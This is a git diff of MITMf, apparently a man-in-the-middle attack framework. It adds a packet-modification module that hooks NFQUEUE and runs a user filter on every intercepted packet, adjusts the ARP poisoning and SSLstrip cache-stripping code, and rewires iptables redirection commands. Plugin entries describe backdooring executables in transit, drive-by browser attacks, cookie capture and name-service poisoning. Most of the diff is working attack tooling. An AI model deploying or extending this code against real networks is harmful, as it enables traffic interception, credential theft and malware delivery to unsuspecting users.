diff --git a/README.md b/README.md index a3c168f..4329d70 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ ![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) ![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) -![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux%2FOSX-yellow.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) #MITMf @@ -56,22 +56,18 @@ How to install on Kali Installation ============ -If you're rocking Kali and want the latest version: -- Clone this repository -- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**) -If you're rocking any other Linux distro: - Clone this repository -- Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies +- Run the ```setup.sh``` script +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No, it will never be supported (so don't ask). +- Nope, don't think it will ever be - **Is OSX supported?** -- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! +- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. diff --git a/core/packetparser.py b/core/packetparser.py new file mode 100644 index 0000000..0a8b1af --- /dev/null +++ b/core/packetparser.py @@ -0,0 +1,45 @@ +import threading + +from core.utils import set_ip_forwarding, iptables +from core.logger import logger +from scapy.all import * +from traceback import print_exc +from netfilterqueue import NetfilterQueue + +formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketParser", formatter) + +class PacketParser: + + def __init__(self, filter): + self.filter = filter + + def start(self): + set_ip_forwarding(1) + iptables().NFQUEUE() + + self.nfqueue = NetfilterQueue() + self.nfqueue.bind(1, self.modify) + + t = threading.Thread(name='packetparser', target=self.nfqueue.run) + t.setDaemon(True) + t.start() + + def modify(self, pkt): + #log.debug("Got packet") + data = pkt.get_payload() + packet = IP(data) + + try: + execfile(self.filter) + except Exception: + log.debug("Error occurred in filter") + print_exc() + + pkt.set_payload(str(packet)) #set the packet content to our modified version + pkt.accept() #accept the packet + + def stop(self): + self.nfqueue.unbind() + set_ip_forwarding(0) + iptables().flush() \ No newline at end of file diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 1a937a0..4de8021 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -175,7 +175,7 @@ class ARPpoisoner: try: targetmac = self.arp_cache[targetip] # see if we already resolved that address - log.debug('{} has already been resolved'.format(targetip)) + #log.debug('{} has already been resolved'.format(targetip)) except KeyError: #This following replaces getmacbyip(), much faster this way packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) @@ -211,7 +211,7 @@ class ARPpoisoner: if targetmac is not None: try: - log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index b140da8..681e15a 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -86,13 +86,15 @@ class ClientRequest(Request): del headers['accept-encoding'] log.debug("Zapped encoding") - if 'if-none-match' in headers: - del headers['if-none-match'] + if self.urlMonitor.caching is False: - if 'if-modified-since' in headers: - del headers['if-modified-since'] + if 'if-none-match' in headers: + del headers['if-none-match'] - headers['pragma'] = 'no-cache' + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + headers['pragma'] = 'no-cache' return headers diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 3073a65..4db0b48 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -50,6 +50,7 @@ class URLMonitor: self.faviconReplacement = False self.hsts = False self.app = False + self.caching = False @staticmethod def getInstance(): @@ -75,6 +76,9 @@ class URLMonitor: else: return 443 + def setCaching(self, value): + self.caching = value + def addRedirection(self, from_url, to_url): for s in self.redirects: if from_url in s: diff --git a/core/utils.py b/core/utils.py index ce1b2a1..2aecf73 100644 --- a/core/utils.py +++ b/core/utils.py @@ -64,20 +64,23 @@ def get_mac(interface): class iptables: - dns = False - http = False - smb = False + dns = False + http = False + smb = False + nfqueue = False __shared_state = {} - + def __init__(self): self.__dict__ = self.__shared_state - def Flush(self): + def flush(self): log.debug("Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False + self.smb = False + self.nfqueue = False def HTTP(self, http_redir_port): log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) @@ -93,3 +96,8 @@ class iptables: log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True + + def NFQUEUE(self): + log.debug("Setting iptables NFQUEUE rule") + os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') + self.nfqueue = True diff --git a/kali_setup.sh b/kali_setup.sh deleted file mode 100755 index d90d0b5..0000000 --- a/kali_setup.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive -apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto -apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap -pip install Pillow mitmflib diff --git a/mitmf.py b/mitmf.py index d7fe9a6..44f5349 100755 --- a/mitmf.py +++ b/mitmf.py @@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") -sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") +sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic') #Initialize plugins and pass them the parser NameSpace object plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] @@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory) ProxyPlugins().all_plugins = plugins -#All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" +if options.filter: + from core.packetparser import PacketParser + pparser = PacketParser(options.filter) + pparser.start() + print "|_ PacketParser online" + print "| |_ Applying filter {} to incoming packets".format(options.filter) + #Start mitmf-api from core.mitmfapi import mitmfapi print "|_ MITMf-API online" @@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode #start the reactor reactor.run() - print "\n" + +if options.filter: + pparser.stop() + shutdown() \ No newline at end of file diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index f40b456..c456db2 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -29,7 +29,6 @@ class AppCachePlugin(Plugin): optname = "appoison" desc = "Performs App Cache Poisoning attacks" version = "0.3" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py index 3d72fce..ea11fa6 100644 --- a/plugins/browsersniper.py +++ b/plugins/browsersniper.py @@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin): optname = "browsersniper" desc = "Performs drive-by attacks on clients with out-of-date browser plugins" version = "0.4" - has_opts = False def initialize(self, options): self.options = options diff --git a/plugins/ferretng.py b/plugins/ferretng.py index e79f499..2bdfbf7 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -30,7 +30,6 @@ class FerretNG(Plugin): optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" version = "0.1" - has_opts = True def initialize(self, options): self.options = options diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 83bd6b9..837dd1f 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -80,7 +80,6 @@ class FilePwn(Plugin): desc = "Backdoor executables being sent over http using bdfactory" tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" - has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/responder.py b/plugins/responder.py index 7b21f48..a4a6a14 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -28,7 +28,6 @@ class Responder(Plugin): desc = "Poison LLMNR, NBT-NS and MDNS requests" tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] version = "0.2" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/spoof.py b/plugins/spoof.py index 7f91e73..13e6c36 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -23,12 +23,10 @@ class Spoof(Plugin): optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" version = "0.6" - has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - self.manualiptables = options.manualiptables self.protocol_instances = [] from core.utils import iptables, shutdown, set_ip_forwarding @@ -74,18 +72,16 @@ class Spoof(Plugin): from core.servers.dns.DNSchef import DNSChef self.tree_info.append('DNS spoofing enabled') - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) if not options.arp and not options.icmp and not options.dhcp and not options.dns: shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") set_ip_forwarding(1) - if not options.manualiptables: - if iptables().http is False: - iptables().HTTP(options.listen_port) + if iptables().http is False: + iptables().HTTP(options.listen_port) for protocol in self.protocol_instances: protocol.start() @@ -109,7 +105,6 @@ class Spoof(Plugin): if hasattr(protocol, 'stop'): protocol.stop() - if not self.manualiptables: - iptables().Flush() + iptables().flush() set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py index 5a33d9c..51f21b3 100644 --- a/plugins/sslstrip+.py +++ b/plugins/sslstrip+.py @@ -25,25 +25,21 @@ class SSLstripPlus(Plugin): desc = 'Enables SSLstrip+ for partial HSTS bypass' version = "0.4" tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False def initialize(self, options): self.options = options - self.manualiptables = options.manualiptables from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef from core.utils import iptables - if not options.manualiptables: - if iptables().dns is False: - iptables().DNS(self.config['MITMf']['DNS']['port']) + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef().setHstsBypass() def on_shutdown(self): from core.utils import iptables - if not self.manualiptables: - if iptables().dns is True: - iptables().Flush() + if iptables().dns is True: + iptables().flush() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..192c664 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +git+git://github.com/kti/python-netfilterqueue +mitmflib \ No newline at end of file diff --git a/other_setup.sh b/setup.sh similarity index 100% rename from other_setup.sh rename to setup.sh